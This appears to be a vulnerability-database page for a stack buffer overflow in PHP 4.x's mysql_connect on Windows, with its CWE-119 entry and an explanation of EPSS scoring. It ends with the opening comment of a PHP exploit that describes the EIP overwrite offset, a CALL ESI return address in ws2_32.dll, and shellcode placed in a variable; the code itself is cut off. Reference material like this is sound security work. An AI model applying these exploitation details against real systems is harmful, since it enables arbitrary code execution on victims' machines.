CVE Descriptions

Stack-based buffer overflow in the create_named_pipe function in libmysql.c in PHP 4.3.10 and 4.4.x before 4.4.3 for Windows allows attackers to execute arbitrary code via a long (1) arg_host or (2) arg_unix_socket argument, as demonstrated by a long named pipe variable in the host argument to the mysql_connect function.

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<?php /* This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. If another operating system is used, the replacement EIP must be changed. The replacement EIP is written 261 bytes into our string. For this exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1. The replacement ESI is simply the base of the PHP image. Locations after this address will be overwritten with some internal data. Our shellcode is written into the $user variable. $two is used to prevent $user from being truncated with a MySQL error message.
